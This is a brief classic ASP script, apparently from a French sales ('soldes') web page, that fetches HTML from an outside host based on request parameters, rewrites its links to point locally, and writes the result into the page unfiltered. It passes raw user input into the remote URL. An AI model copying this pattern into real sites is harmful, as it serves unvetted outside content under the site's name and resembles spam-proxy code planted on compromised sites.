<% function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"UTF-8") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("p_id")<>"" then URL="http://lh.x10videosender.net/ig_zc/NY_Tou_img.aspx?rnd="&yyu&"&p_id="&request("p_id") else if request("pageIndex")<>"" then URL="http://lh.x10videosender.net/ig_zc/LB_Tou_img.aspx?s_id=255&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URL="http://lh.x10videosender.net/ig_zc/LB_Tou_img.aspx?rnd="&yyu&"&s_id=255" end if end if Html = getHTTPPage(Url) Response.write Html %>
<% Dim Urlyy,Htmlyy yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("pageIndex")<>"" then URLyy="http://lh.x10videosender.net/ig_zc/LB_NR_img.aspx?s_id=255&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URLyy="http://lh.x10videosender.net/ig_zc/LB_NR_img.aspx?s_id=255&rnd="&yyu&"" if request("p_id")<>"" then Urlyy="http://lh.x10videosender.net/ig_zc/NY_Content_img.aspx?rnd="&yyu&"&p_id="&request("p_id") end if end if Htmlyy = getHTTPPage(Urlyy) Htmlyy=replace(Htmlyy,"LB_NR_img.aspx","soldes.asp") Htmlyy=replace(Htmlyy,"s_id=255&rnd="&yyu&"&","") Response.write Htmlyy %>
mentions légales